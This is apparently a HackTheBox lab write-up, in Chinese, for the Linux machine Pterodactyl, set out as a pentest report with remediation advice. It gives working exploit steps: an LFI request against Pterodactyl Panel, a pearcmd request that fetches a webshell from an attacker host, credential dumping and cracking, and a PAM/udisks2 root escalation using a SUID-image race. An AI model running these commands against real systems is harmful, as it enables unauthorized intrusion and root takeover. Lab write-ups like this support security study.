HackTheBox — Pterodactyl(中等难度/Linux)通关指南。CVE-2025-49132 本地文件包含(LFI)→ pearcmd 远程代码执行(RCE)→ bcrypt 哈希破解 → SSH。通过 CVE-2025-6018(PAM pam_environment 绕过)+ CVE-2025-6019(udisks2 XFS 调整大小竞态条件,nosuid 绕过)实现权限提升 → root。包含完整笔记和步骤。
日期: 2026年4月8日
目标: Pterodactyl (HackTheBox)
难度: 中等
操作系统: Linux (openSUSE Leap 15.6)
测试人员: V0idW1re
HackTheBox 上的 Pterodactyl 机器呈现了一个现实的攻击场景,涉及配置错误的 Web 应用程序和链式特权提升漏洞。测试人员从未认证的位置出发,通过一系列逻辑严密的利用步骤实现了完整的 root 接管。攻击链涉及未认证的本地文件包含漏洞、创造性地滥用 PHP 包管理器实现远程代码执行、凭据提取与破解,最后将两个已公开披露的 CVE 串联起来,将权限从低权限用户提升至 root。
| 字段 | 值 |
|---|---|
| 目标 IP | 10.129.25.223 |
| 主机名 | pterodactyl.htb |
| 操作系统 | openSUSE Leap 15.6 |
| 服务 | SSH (22)、HTTP (80) |
| 子域名 | panel.pterodactyl.htb |
本次评估遵循标准的渗透测试方法论:
严重性: 严重
组件: Pterodactyl Panel v1.11.10 — /locales/locale.json 端点
描述:
Pterodactyl Panel 的 locale 端点未能对 locale 和 namespace 查询参数进行清理,从而导致目录遍历。由于应用程序会在 namespace 值后追加 .php 并通过 PHP 的 include 机制加载该文件,攻击者可以强制服务器加载并执行文件系统上的任意 PHP 文件。
利用方式:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
影响:
从 config/database.php 中提取了数据库凭据:
pterodactylPteraPanelpanel同时还从 config/app.php 中提取了 Laravel 应用程序密钥。
证据:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
严重性: 严重
组件: PHP PEAR 安装 + LFI
描述:
在建立 LFI 原语后,测试人员利用了 PEAR 包管理器的 pearcmd.php 脚本。当 PHP 配置中 register_argc_argv=On(已通过 phpinfo 确认)时,查询字符串会被 pearcmd 解析为命令行参数。利用 download 命令从攻击者的服务器获取 PHP webshell,并将其保存到 Panel 的公共 Web 目录中。
利用方式:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
影响:
一个 PHP webshell 被写入 /var/www/pterodactyl/public/shell.php,从而以 wwwrun 用户身份实现未认证的远程代码执行。
证据:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
严重性: 高
组件: MySQL panel 数据库
描述:
利用 RCE shell,测试人员使用通过 LFI 获取的凭据连接了 MySQL 数据库。users 表包含所有 Panel 用户的 bcrypt 哈希密码。用户 phileasfogg3 的哈希通过常用字典在离线状态下被破解。
利用方式:
SELECT username, password FROM users;
已破解凭据:
phileasfogg3!QAZ2wsx影响:
以 phileasfogg3 身份获得 SSH 访问权限,并成功捕获用户标志:
user.txt: 916235b4261e70fdb090402c641a7808
严重性: 高
组件: PAM 配置 — pam_env.so(user_readenv=1)
描述:
openSUSE Leap 15.6 上的 PAM 配置通过 pam_env.so(user_readenv=1)加载用户的 ~/.pam_environment 文件。通过在该文件中设置特定的环境变量,非特权 SSH 用户可以欺骗 systemd-logind 和 Polkit,使其认为该会话是活动的物理控制台会话,从而获得 allow_active 权限。
利用方式:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
重新通过 SSH 连接后,会话被识别为 Active=yes,这使得非特权用户能够调用通常需要物理控制台在场的 udisks2 D-Bus 方法。
证据:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt
严重性: 严重
组件: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
描述:
当 udisks2 通过 libblockdev 调整 XFS 文件系统大小时,它会将文件系统镜像临时挂载到 /tmp/blockdev.* 下的全局可访问目录中,且不使用 nosuid 和 nodev 挂载标志。这创造了一个短暂的竞态条件窗口,在此期间,镜像中的任何 SUID 二进制文件都可以以提升的有效 UID 执行。
拥有 allow_active Polkit 权限(通过 CVE-2025-6018 获得)的攻击者可以:
udisksctl loop-setup 设置循环设备关于 XFS 镜像兼容性的重要说明:
针对 openSUSE Leap 15.6 (SP5/SP6),必须使用特定的标志创建 XFS 镜像:
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
利用方式:
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
证据:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Root 标志:
root.txt: d3a242011c18cb81f08ad80337330641
| 标志 | 值 |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[Unauthenticated]
↓ CVE-2025-49132 (LFI)
[Database Credentials]
↓ pearcmd RCE
[wwwrun shell]
↓ MySQL credential dump + hash crack
[phileasfogg3 SSH]
↓ CVE-2025-6018 (PAM bypass → allow_active)
↓ CVE-2025-6019 (udisks2 XFS resize race)
[root]
目标系统被完全攻陷。拥有此级别访问权限的攻击者可以:
本报告仅出于教育目的编写,作为 HackTheBox 实验室练习的一部分。所有测试均在合法、隔离的实验室环境中进行。
| 发现 | 修复建议 |
|---|
| CVE-2025-49132 (LFI) | 将 Pterodactyl Panel 升级至 v1.11.11 或更高版本,该版本会对 locale/namespace 参数强制执行严格的字母数字校验 |
| pearcmd RCE | 在 php.ini 中设置 register_argc_argv=Off;如不需要,可移除 PEAR |
| 弱密码 | 强制执行强密码策略;使用密码管理器 |
| CVE-2025-6018 (PAM) | 在 PAM 配置中将 pam_env.so 的 user_readenv 设置为 0 |
| CVE-2025-6019 (udisks2) | 将 udisks2 和 libblockdev 升级至已修复的版本;修改 org.freedesktop.udisks2.modify-device 的 Polkit 规则,将 allow_active 从 yes 改为 auth_admin |